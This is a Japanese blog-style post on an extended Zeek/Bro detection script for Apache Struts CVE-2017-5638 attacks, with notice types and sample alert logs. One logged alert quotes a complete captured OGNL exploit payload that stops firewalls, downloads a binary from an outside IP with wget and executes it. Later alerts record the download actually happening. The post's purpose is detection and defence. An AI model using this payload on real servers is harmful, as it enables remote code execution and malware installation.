Scott Campbellのスクリプトをさらに拡張し、より複雑にしました :)

「HTTP_StrutsAttack」はリコンの100%を阻止しますが、スキャナーが脆弱なシステムにヒットした場合、スキャナーをブロックしても、脆弱なシステムがHTTPリクエストに含まれるwgetを実行し、マルウェアを実行する可能性がわずかにありました。wget URL内のマルウェアダウンロードIPはほとんどの場合リコンIPとは異なるため、私たちはそれをブロックしていません。

そこで、拡張スクリプトはマルウェアダウンロードIPも抽出します。

以下の通知を生成します:

 redef enum Notice::Type += {
         Attempt,
         MalwareURL,
         HostileDomainLookup,
         MalwareURLClick,
         FileDownload,
         Compromise,
 };

これで、このスクリプトはAttemptから「wget」URLを抽出し、URLにドメイン（またはCNAMEされたドメイン）がある場合、さらにマルウェアホストのIPアドレスを追跡し、アクティビティを監視します。
wget URLがhttpで確認された場合、MalwareURLClick通知を生成します。
さらにFileDownloadとCompromiseの通知も生成します。
このスクリプトはクラスタ化もされています。

24時間実行しましたが、スクリプトに関しては安定しているようです。まだいくつかの検出の穴があるかもしれません。自由に修正して、私にもお知らせください。

驚くべきことに、以前と違い、Strutsスキャナーの大量トラフィックは見られません。1日あたり約20件程度で、以前の1日あたり約1000件から減少しています。

以下は通知の例です:

1489228734.171565 CbVq832QovIwAQddf2 1.24.191.108 65000 131.243.X.Y 80 - - - tcp Struts::Attempt CVE-2017-5638/Struts attack from 1.24.191.108 seen: %{(#nike='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='/etc/init.d/iptables stop;service iptables stop;SuSEfirewall2 stop;reSuSEfirewall2 stop;wget -c http://121.42.249.245:1996/xhx;chmod 777 xhx;./xhx;').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())} - 1.24.191.108 131.243.X.Y 80 - worker-5 Notice::ACTION_LOG 3600.000000 F - -- - -

1489237401.399275 C90k4o1Zrn8D7vaXoe 124.117.244.34 49728 128.3.Y.Z 80 - - - tcp Struts::MalwareURL Struts Hostile URLs seen in recon attempt 124.117.244.34 to 128.3.Y.Z with URL [http://121.42.249.245:1996/xhx;chmod 777 xhx;./xhx;] - 124.117.244.34 128.3.Y.Z 80 - worker-13 Notice::ACTION_LOG 3600.000000 F - - - - -

1489240937.969456 CpUhgp1VJnPuOLY8h 128.3.X.Y 33755 121.42.249.245 1996 - - - tcp Struts::MalwareURLClick Struts Hostile URL seen 128.3.X.Y=121.42.249.245 [http://121.42.249.245:1996/tcp/xhx] - 128.3.X.Y 121.42.249.245 1996 - worker-15 Notice::ACTION_LOG 60.000000 F - - - - -

1489240937.969456 CpUhgp1VJnPuOLY8h 128.3.X.Y 33755 121.42.249.245 1996 - - - tcp Struts::Compromise Struts compromise: 128.3.X.Y=121.42.249.245 [http://121.42.249.245:1996/tcp/xhx] - 128.3.X.Y 121.42.249.245 1996 - worker-15 Notice::ACTION_LOG 3600.000000 F - - - - -

1489240940.206456 CpUhgp1VJnPuOLY8h 128.3.X.Y 33755 121.42.249.245 1996 Frx9jZ1JkcrsVtgOkg application/x-executable http://121.42.249.245:1996/tcp/xhx tcp Struts::FileDownload http://121.42.249.245:1996/tcp/xhx http://121.42.249.245:1996/tcp/xhx 128.3.X.Y 121.42.249.245 1996 - worker-15 Notice::ACTION_LOG 3600.000000 F

CVE-2017-5638_struts

人気